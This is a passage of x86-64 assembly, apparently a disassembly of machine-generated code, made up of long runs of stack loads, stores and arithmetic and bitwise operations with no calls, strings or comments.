mov rcx, qword [rsp + 0x7238]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7780], rax
lea rax, [0x140179010]
mov qword [rsp + 0x8f18], rax
mov rax, qword [rsp + 0x7188]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c08]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7ac8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b98]
movzx eax, word [rax]
mov word [rsp + 0xff4], ax
mov rax, qword [rsp + 0x8000]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc98]
add eax, ecx
mov word [0x140179104], ax
mov rax, qword [rsp + 0x6d18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf7]
sub eax, ecx
mov byte [rsp + 0xe1], al
mov rax, qword [rsp + 0x7b58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12d]
sub eax, ecx
mov byte [rsp + 0x80], al
lea rax, [rsp + 0xcc4]
mov qword [rsp + 0x8f20], rax
mov rax, qword [rsp + 0x82e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7d58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8420], rax
mov rax, qword [rsp + 0x8580]
mov eax, dword [rax]
mov dword [rsp + 0x3ff4], eax
mov rax, qword [rsp + 0x6da0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f40]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6c40]
mov dword [rcx], eax
lea rax, [rsp + 0x6d58]
mov qword [rsp + 0x8f28], rax
mov rax, qword [rsp + 0x7fb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf2c]
add eax, ecx
mov word [rsp + 0xe48], ax
mov rax, qword [0x14017a5f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ef8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a798]
mov byte [rcx], al
mov rax, qword [rsp + 0x7bc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x78e0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8990]
mov word [rcx], ax
mov rax, qword [rsp + 0x7960]
movzx eax, word [rax]
mov word [rsp + 0xff8], ax
movsx eax, byte [rsp + 0xed]
mov rcx, qword [rsp + 0x7f90]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x5d], al
lea rax, [rsp + 0x7760]
mov qword [rsp + 0x8f30], rax
mov eax, dword [rsp + 0x3bf8]
mov ecx, dword [rsp + 0x3c5c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f44], eax
mov rax, qword [rsp + 0x6cf8]
mov rcx, qword [rsp + 0x72f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3d98], eax
lea rax, [rsp + 0x8ae8]
mov qword [rsp + 0x8f38], rax
movzx eax, byte [rsp + 0x111]
movzx ecx, byte [rsp + 0xa2]
and eax, ecx
mov rcx, qword [rsp + 0x7640]
mov byte [rcx], al
mov rax, qword [0x14017a748]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x73]
add eax, ecx
mov byte [0x14017907f], al
movzx eax, byte [rsp + 0xa2]
mov byte [rsp + 0x15e], al
mov rax, qword [rsp + 0x83c0]
movzx eax, word [rax]
mov rcx, qword [0x14017a898]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x84b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6de0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6fa0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x123], al
lea rax, [rsp + 0x3dc8]
mov qword [rsp + 0x8f40], rax
mov rax, qword [rsp + 0x73b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x83f0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8390]
mov qword [rcx], rax
lea rax, [rsp + 0x8c10]
mov qword [rsp + 0x8f48], rax
mov eax, dword [rsp + 0x3eac]
mov ecx, dword [rsp + 0x3cfc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f64], eax
mov rax, qword [rsp + 0x86c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x80a8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6ec8]
mov word [rcx], ax
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6a10]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a670]
mov byte [rcx], al
mov rax, qword [rsp + 0x88e0]
movzx eax, word [rax]
mov word [rsp + 0xffc], ax
movsx eax, word [rsp + 0xd80]
mov rcx, qword [rsp + 0x83b0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x79c0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x14e]
mov byte [rsp + 0x15f], al
movzx eax, word [rsp + 0xc1c]
mov rcx, qword [rsp + 0x8750]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x74b8]
mov word [rcx], ax
lea rax, [rsp + 0x3c98]
mov qword [rsp + 0x8f50], rax
mov rax, qword [rsp + 0x6e80]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3e2c]
shr eax, cl
mov dword [rsp + 0x3e24], eax
mov rax, qword [rsp + 0x7508]
mov rcx, qword [rsp + 0x7c60]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x7eb8], rax
mov rax, qword [rsp + 0x8390]
mov rax, qword [rax]
mov qword [rsp + 0x8f58], rax
lea rax, [rsp + 0x157]
mov qword [0x14017a930], rax
mov rax, qword [rsp + 0x7438]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xdb8]
shl eax, cl
mov rcx, qword [rsp + 0x8dc0]
mov word [rcx], ax
lea rax, [rsp + 0xe1]
mov qword [rsp + 0x8f60], rax
mov rax, qword [rsp + 0x8d08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8828]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x87c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x8740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x124]
add eax, ecx
mov byte [rsp + 0x109], al
mov rax, qword [rsp + 0x8f40]
mov eax, dword [rax]
mov dword [rsp + 0x3ff8], eax
mov rax, qword [rsp + 0x8960]
mov rcx, qword [rsp + 0x8998]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8148]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3c78]
mov dword [rsp + 0x3ffc], eax
mov rax, qword [rsp + 0x7ae0]
mov rcx, qword [rsp + 0x7280]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x85e0], rax
movzx eax, word [rsp + 0xedc]
movzx ecx, word [rsp + 0xfb8]
add eax, ecx
mov word [0x14017a708], ax
movzx eax, byte [rsp + 0x61]
mov rcx, qword [rsp + 0x81c0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x9b], al
mov rax, qword [0x14017a4e8]
movzx eax, word [rax]
mov word [rsp + 0x1000], ax
mov rax, qword [rsp + 0x7568]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8588]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8ed0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7298]
movzx eax, word [rax]
mov word [rsp + 0x1004], ax
mov rax, qword [rsp + 0x7890]
mov ecx, dword [rsp + 0x3fa4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3bf4], eax
mov rax, qword [rsp + 0x8618]
mov ecx, dword [rsp + 0x3c38]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3d0c], eax
lea rax, [rsp + 0x8e80]
mov qword [rsp + 0x8f68], rax
mov rax, qword [rsp + 0x7d60]
mov rcx, qword [rsp + 0x74c0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7b90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x87e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8328]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [0x14017a518]
mov byte [rcx], al
lea rax, [rsp + 0xd38]
mov qword [rsp + 0x8f70], rax
movsx eax, byte [rsp + 0x12a]
movsx ecx, byte [rsp + 0xc2]
xor eax, ecx
mov rcx, qword [rsp + 0x71f8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x106]
mov byte [rsp + 0x160], al
movzx eax, word [rsp + 0xcb8]
movzx ecx, word [rsp + 0xf70]
shl eax, cl
mov word [rsp + 0xe70], ax
mov rax, qword [rsp + 0x7908]
mov ecx, dword [rsp + 0x3e04]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x8b38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8cf0]
mov rax, qword [rax]
mov qword [rsp + 0x8f78], rax
mov rax, qword [rsp + 0x8b60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c44]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8d78]
mov dword [rcx], eax
lea rax, [rsp + 0x8138]
mov qword [rsp + 0x8f80], rax
movzx eax, word [rsp + 0xd54]
mov word [0x14017a938], ax
mov rax, qword [rsp + 0x8f20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc18]
sub eax, ecx
mov rcx, qword [rsp + 0x71e0]
mov word [rcx], ax
movsx eax, byte [rsp + 0xc8]
movsx ecx, byte [rsp + 0x60]
add eax, ecx
mov byte [rsp + 0x41], al
lea rax, [rsp + 0xfc]
mov qword [rsp + 0x8f88], rax
mov rax, qword [rsp + 0x8980]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7db8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xce0], ax
mov rax, qword [rsp + 0x8908]
mov qword [rsp + 0x8f90], rax
mov rax, qword [rsp + 0x8048]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c68]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f24], eax
mov rax, qword [rsp + 0x7738]
mov ecx, dword [rsp + 0x3c88]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c7c], eax
lea rax, [rsp + 0x8ce8]
mov qword [rsp + 0x8f98], rax
mov rax, qword [rsp + 0x8aa0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8a10]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [0x14017a8f8]
mov word [rcx], ax
movsx eax, byte [rsp + 0xb4]
mov rcx, qword [rsp + 0x75c0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x86d8]
mov byte [rcx], al
lea rax, [0x14017a583]
mov qword [rsp + 0x8fa0], rax
mov rax, qword [rsp + 0x8108]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe64]
add eax, ecx
mov word [rsp + 0xe04], ax
lea rax, [rsp + 0x11c]
mov qword [rsp + 0x8fa8], rax
mov rax, qword [rsp + 0x8f68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8890]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x77e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7d10]
mov rcx, qword [rsp + 0x8590]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7840], rax
lea rax, [rsp + 0x3d50]
mov qword [rsp + 0x8fb0], rax
mov eax, dword [section..data]
movzx ecx, al
mov eax, dword [rsp + 0x3fc0]
shl eax, cl
mov rcx, qword [rsp + 0x7620]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x69]
mov rcx, qword [rsp + 0x8f88]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x140179082], al
mov rax, qword [rsp + 0x7590]
movzx eax, byte [rax]
mov byte [rsp + 0x161], al
mov rax, qword [rsp + 0x7948]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xde]
or eax, ecx
mov byte [rsp + 0x10d], al
mov rax, qword [rsp + 0x84b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf40]
cdq
idiv ecx
mov rcx, qword [rsp + 0x82d0]
mov word [rcx], ax
lea rax, [rsp + 0xc34]
mov qword [rsp + 0x8fb8], rax
mov rax, qword [rsp + 0x8ad8]
movzx ecx, al
mov rax, qword [rsp + 0x77d0]
sar rax, cl
mov qword [rsp + 0x7fe0], rax
lea rax, [rsp + 0x3ca0]
mov qword [rsp + 0x8fc0], rax
mov rax, qword [rsp + 0x7d00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8258]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8b58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7be0]
mov eax, dword [rax]
mov ecx, dword [section..data]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3db8], eax
mov rax, qword [rsp + 0x74c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x84d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401790f0], ax
mov rax, qword [rsp + 0x8588]
movzx eax, word [rax]
mov word [rsp + 0x1008], ax
mov rax, qword [rsp + 0x8b88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfa]
sub eax, ecx
mov rcx, qword [rsp + 0x6fa8]
mov byte [rcx], al
lea rax, [rsp + 0xc94]
mov qword [rsp + 0x8fc8], rax
mov rax, qword [rsp + 0x81c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7598]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x54], al
mov rax, qword [rsp + 0x7a88]
mov rcx, qword [0x140179010]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8f30]
mov qword [rcx], rax
lea rax, [rsp + 0x3e24]
mov qword [rsp + 0x8fd0], rax
mov rax, qword [rsp + 0x86e8]
mov rcx, qword [rsp + 0x7800]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3f5c], eax
lea rax, [rsp + 0x8038]
mov qword [rsp + 0x8fd8], rax
movzx eax, word [rsp + 0xfcc]
mov rcx, qword [rsp + 0x6b30]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x82f0]
mov word [rcx], ax
lea rax, [rsp + 0x83]
mov qword [0x14017a940], rax
movzx eax, word [0x14017a8dc]
mov word [rsp + 0x100c], ax
movsx eax, byte [rsp + 0x11b]
movsx ecx, byte [rsp + 0xfe]
add eax, ecx
mov rcx, qword [rsp + 0x8740]
mov byte [rcx], al
mov rax, qword [rsp + 0x81a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8750]
movzx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x8aa0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6c40]
mov eax, dword [rax]
mov dword [rsp + 0x4000], eax
mov eax, dword [rsp + 0x3c04]
movzx ecx, al
mov eax, dword [rsp + 0x3c84]
shl eax, cl
mov rcx, qword [rsp + 0x8ac8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6d08]
mov qword [rsp + 0x8fe0], rax
mov rax, qword [rsp + 0x6cb0]
mov rcx, qword [rsp + 0x8038]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x8ab0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x52]
movsx ecx, byte [rsp + 0x41]
sar eax, cl
mov byte [rsp + 0xb4], al
lea rax, [rsp + 0x55]
mov qword [0x14017a948], rax
lea rax, [rsp + 0xed0]
mov qword [rsp + 0x8fe8], rax
movzx eax, byte [rsp + 0xd9]
mov rcx, qword [rsp + 0x7928]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x66], al
lea rax, [rsp + 0xde4]
mov qword [rsp + 0x8ff0], rax
mov rax, qword [rsp + 0x8100]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3bf0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x78f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x72b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8450]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x76b0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3d74]
mov dword [rsp + 0x4004], eax
mov rax, qword [rsp + 0x6ff8]
mov rcx, qword [rsp + 0x6a68]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7440], rax
lea rax, [rsp + 0xed8]
mov qword [rsp + 0x8ff8], rax
movsx eax, byte [rsp + 0xa8]
mov rcx, qword [rsp + 0x8210]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a5e8]
mov byte [rcx], al
movzx eax, word [rsp + 0xddc]
mov rcx, qword [0x14017a4e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xee4], ax
mov rax, qword [rsp + 0x8758]
movzx eax, word [rax]
mov word [rsp + 0x1010], ax
movsx eax, byte [rsp + 0xfa]
mov rcx, qword [rsp + 0x87f0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8b88]
mov byte [rcx], al
mov rax, qword [rsp + 0x7af0]
mov eax, dword [rax]
mov ecx, dword [section..data]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3da0], eax
lea rax, [rsp + 0x7930]
mov qword [rsp + 0x9000], rax
mov rax, qword [rsp + 0x83e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3d74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ed4], eax
mov rax, qword [rsp + 0x6dd0]
mov rax, qword [rax]
mov qword [rsp + 0x9008], rax
mov rax, qword [rsp + 0x7258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8150]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe30], ax
lea rax, [rsp + 0xf84]
mov qword [0x14017a950], rax
mov rax, qword [rsp + 0x8238]
movsx eax, byte [rax]
movsx ecx, byte [0x14017904e]
and eax, ecx
mov rcx, qword [rsp + 0x89a8]
mov byte [rcx], al
lea rax, [rsp + 0xf9]
mov qword [rsp + 0x9010], rax
mov rax, qword [rsp + 0x7d80]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7b88]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x45], al
lea rax, [rsp + 0x145]
mov qword [rsp + 0x9018], rax
mov rax, qword [rsp + 0x7410]
mov rcx, qword [rsp + 0x8850]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x85c8], rax
mov rax, qword [rsp + 0x8020]
mov rcx, qword [rsp + 0x78d8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x70f8]
mov qword [rcx], rax
lea rax, section..data
mov qword [rsp + 0x9020], rax
mov eax, dword [rsp + 0x3d94]
mov rcx, qword [rsp + 0x6ad0]
mov qword [rsp + 0x9028], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9028]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x7c30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x84b0]
movzx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [0x14017a8e8]
mov word [rcx], ax
lea rax, [0x14017902f]
mov qword [rsp + 0x9030], rax
movsx eax, word [rsp + 0xd58]
movsx ecx, word [rsp + 0xcd8]
add eax, ecx
mov rcx, qword [rsp + 0x6b40]
mov word [rcx], ax
mov rax, qword [rsp + 0x8370]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7a90]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xff0], ax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x9038], rax
mov rax, qword [rsp + 0x6c20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f50]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fa0], eax
mov eax, dword [rsp + 0x3d48]
mov dword [rsp + 0x4008], eax
mov rax, qword [rsp + 0x8f18]
mov rcx, qword [rsp + 0x7c90]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7fc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8b20]
mov rax, qword [rax]
mov qword [rsp + 0x9040], rax
movsx eax, byte [rsp + 0xbc]
mov rcx, qword [rsp + 0x8c00]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a5e8]
mov byte [rcx], al
movzx eax, word [rsp + 0xf50]
movzx ecx, word [rsp + 0xf54]
sub eax, ecx
mov rcx, qword [rsp + 0x8398]
mov word [rcx], ax
mov rax, qword [rsp + 0x7568]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcc4]
sub eax, ecx
mov word [rsp + 0xd28], ax
mov rax, qword [rsp + 0x7010]
movzx eax, byte [rax]
mov byte [rsp + 0x162], al
movsx eax, word [rsp + 0xc78]
mov rcx, qword [rsp + 0x8d00]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8f70]
mov word [rcx], ax
lea rax, [rsp + 0x7550]
mov qword [rsp + 0x9048], rax
mov rax, qword [rsp + 0x7e78]
mov rcx, qword [rsp + 0x6da0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7718]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3da0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ed0], eax
lea rax, [rsp + 0x7898]
mov qword [rsp + 0x9050], rax
lea rax, [rsp + 0xf5]
mov qword [0x14017a958], rax
mov rax, qword [rsp + 0x6e78]
movzx eax, word [rax]
movzx ecx, word [0x14017908c]
add eax, ecx
mov word [rsp + 0xefc], ax
mov rax, qword [rsp + 0x8210]
movzx eax, byte [rax]
mov byte [rsp + 0x163], al
movsx eax, word [rsp + 0xc84]
mov rcx, qword [rsp + 0x6d28]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6e50]
mov word [rcx], ax
mov rax, qword [rsp + 0x7118]
movzx eax, byte [rax]
movzx ecx, byte [0x14017906e]
or eax, ecx
mov rcx, qword [rsp + 0x8d08]
mov byte [rcx], al
mov eax, dword [rsp + 0x3cf8]
mov dword [rsp + 0x400c], eax
mov eax, dword [rsp + 0x3f24]
mov ecx, dword [rsp + 0x3ce8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ebc], eax
mov rax, qword [rsp + 0x8038]
mov qword [rsp + 0x9058], rax
mov rax, qword [rsp + 0x9000]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6ed0]
shr rax, cl
mov rcx, qword [rsp + 0x6c10]
mov qword [rcx], rax
lea rax, [rsp + 0x10c]
mov qword [0x14017a960], rax
movzx eax, byte [rsp + 0xf7]
movzx ecx, byte [rsp + 0x158]
and eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x8438]
movzx eax, word [rax]
mov word [rsp + 0x1014], ax
mov rax, qword [rsp + 0x73a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6e10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xef0], ax
lea rax, [rsp + 0xe20]
mov qword [rsp + 0x9060], rax
mov rax, qword [rsp + 0x71e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7418]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x86f8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3cf8]
mov dword [rsp + 0x4010], eax
mov rax, qword [rsp + 0x70b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7318]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8650]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6d10]
mov eax, dword [rax]
imul eax, dword [rsp + 0x3c40]
mov rcx, qword [rsp + 0x6dc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x70d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6c60]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14017a638], ax
lea rax, [rsp + 0x4e]
mov qword [rsp + 0x9068], rax
mov rax, qword [rsp + 0x7d30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xac]
sub eax, ecx
mov rcx, qword [rsp + 0x7060]
mov byte [rcx], al
mov rax, qword [rsp + 0x7130]
movzx eax, byte [rax]
mov byte [rsp + 0x164], al
movzx eax, word [rsp + 0xf6c]
mov rcx, qword [0x14017a5d8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x87a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ab0]
mov rcx, qword [rsp + 0x7f00]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7548]
mov qword [rcx], rax
lea rax, [rsp + 0x80b0]
mov qword [rsp + 0x9070], rax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x3d28]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3cc4], eax
mov eax, dword [rsp + 0x3d08]
mov dword [rsp + 0x4014], eax
mov rax, qword [rsp + 0x7cf0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8268]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x14017a8d0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x5c]
mov rcx, qword [rsp + 0x7538]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x110], al
movzx eax, word [rsp + 0xca4]
movzx ecx, word [rsp + 0xe28]
cdq
idiv ecx
mov rcx, qword [rsp + 0x6e78]
mov word [rcx], ax
lea rax, [rsp + 0xc78]
mov qword [rsp + 0x9078], rax
movzx eax, byte [0x14017902a]
movzx ecx, byte [rsp + 0xff]
sar eax, cl
mov byte [rsp + 0x85], al
mov eax, dword [rsp + 0x3de8]
mov dword [rsp + 0x4018], eax
mov rax, qword [rsp + 0x9050]
mov rcx, qword [rsp + 0x7160]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8ac0], rax
lea rax, section..data
mov qword [rsp + 0x9080], rax
mov rax, qword [rsp + 0x82e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8038]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x80a0], rax
movsx eax, byte [rsp + 0x124]
movsx ecx, byte [rsp + 0xc4]
add eax, ecx
mov byte [0x140179083], al
mov rax, qword [0x14017a7c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8680]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xcc], al
lea rax, [rsp + 0xd2c]
mov qword [rsp + 0x9088], rax
movzx eax, word [rsp + 0xeb8]
mov rcx, qword [rsp + 0x76f8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7e30]
mov word [rcx], ax
lea rax, [0x14017907c]
mov qword [rsp + 0x9090], rax
mov rax, qword [rsp + 0x6c58]
mov ecx, dword [rsp + 0x3fe8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7e90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8a58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ca8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ae8], rax
mov rax, qword [rsp + 0x6b00]
mov eax, dword [rax]
mov dword [rsp + 0x401c], eax
mov rax, qword [rsp + 0x8e18]
mov rcx, qword [rsp + 0x7ba8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8cb8], rax
movzx eax, byte [rsp + 0x73]
mov byte [rsp + 0x165], al
movzx eax, byte [0x14017905a]
movzx ecx, byte [rsp + 0xee]
sub eax, ecx
mov byte [0x14017a4fd], al
mov rax, qword [rsp + 0x8c50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x83a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe54], ax
mov rax, qword [rsp + 0x8b98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8180]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7fd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7528]
movzx eax, word [rax]
mov word [rsp + 0x1018], ax
mov eax, dword [rsp + 0x3e74]
mov ecx, dword [rsp + 0x3d28]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e8c], eax
lea rax, [rsp + 0x71d8]
mov qword [rsp + 0x9098], rax
mov rax, qword [rsp + 0x7958]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x79a0]
mov qword [rsp + 0x90a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x90a0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x6f30]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8848]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8b00]
mov qword [rsp + 0x90a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x90a8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3f78], eax
movzx eax, byte [rsp + 0x71]
mov byte [rsp + 0x166], al
lea rax, [rsp + 0xe54]
mov qword [0x14017a968], rax
mov rax, qword [rsp + 0x8670]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x71b0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x150], al
movzx eax, word [rsp + 0xf04]
mov word [rsp + 0x101c], ax
